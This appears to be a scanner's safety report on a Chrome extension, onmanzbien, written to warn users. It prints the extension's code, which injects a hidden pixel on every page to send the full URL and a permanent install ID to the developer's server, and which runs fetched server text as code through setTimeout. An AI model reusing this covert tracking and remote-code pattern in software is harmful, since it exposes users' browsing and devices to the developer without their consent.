Is onmanzbien safe?

High risk

onmanzbien is high risk. Every time a page finishes loading, the extension injects a hidden pixel request carrying your full page URL and a stable install ID, letting the developer build a browsing history tied to you. Seen for google.com and facebook.com.

72Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension tracks every page you visit via off-screen pixel to api.onmanzbien.com

Every time a page finishes loading, the extension injects a hidden pixel request carrying your full page URL and a stable install ID, letting the developer build a browsing history tied to you.

Seen for google.com and facebook.com.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any website.

As soon as any tab finishes loading, regardless of the site, the extension activates.

The extension did this

an off-screen pixel image sends your full page URL and a permanent ID to api.onmanzbien.com.

The request is invisible: a 1×1 px transparent image appended to the page body with opacity:0.

Captured request
GEThttps://api.onmanzbien.com/api/pixel.png?u=9059fd19-71e0-422a-a16c-a09f0e002130&h=https://www.google.com/

Dynamic analysis captured 6 such requests across google.com and facebook.com navigations. The u= parameter remained identical across all requests, confirming it is a persistent cross-session identifier.

Data sent with every page navigation
  • Your permanent ID
    9059fd19-71e0-422a-a16c-a09f0e002130

    A random ID generated at install. It never changes, letting the developer link every visit to you across sessions and devices.

  • Page address
    https://www.google.com/search?q=symptoms+chest+pain

    The complete URL of the page you just opened, including search terms, article slugs, account paths, or query parameters.

The code that does this

Pixel injection, unconditional firing despite the food-site blacklist

Readable version
chrome.tabs.onUpdated.addListener(async function(tabId, changeInfo, tab) {    if (changeInfo.status === 'complete') {        const { user_id } = await chrome.storage.sync.get(["user_id"])        if (typeof user_id === "string" && user_id.length > 0) {            try {                chrome.scripting.executeScript({                    target: { tabId: tabId },                    args: [user_id],                    func: (user_id) => {                        const blacklist = [                            "deliveroo.fr",                            "www.ubereats.com",                            "www.just-eat.fr",                            "www.mcdonalds.fr",                            "www.burgerking.fr"                        ];                        function wrapper(func) {                            var i = document.createElement("img");                            i.style = "height: 0px; width: 1px;opacity: 0;"                            // ↓ pixel fires for EVERY site, not just blacklisted ones                            i.src = "https://api.onmanzbien.com/api/pixel.png?u="+ user_id + "&h="+window.location                            i.onerror = func                            document.body.append(i);                        }                        // blacklist only gates the overlay UI                        if (blacklist.indexOf(window.location.host) !== -1) {                            // ... overlay injection for food sites ...                        }                        // wrapper() called OUTSIDE the blacklist check                        wrapper(async function(){                            fetch(this.src)                                .then(async function(response) {                                    if(response.ok)                                        setTimeout(await response.text(), 10)                                    throw new Error('Something went wrong.');                                }).catch(async function(){});                        })                    }                }, () => {});            } catch (error) {}        }    }});
What's stored on your device

Generated at first install and stored in Chrome sync storage, so it follows every signed-in device, letting the server link your history.

Location
chrome.storage.sync key 'user_id'
Contents
{  "user_id": "9059fd19-71e0-422a-a16c-a09f0e002130"}
Destination receiving browsing data
    • api.onmanzbien.com

    Developer's backend API. Receives the persistent UUID and full visited URL via pixel GET each navigation. Linked to app.onmanzbien.com, the promoted app.

Updated 21 September 2026aiimlpjcnmhmbdlmkhloapmlookboonb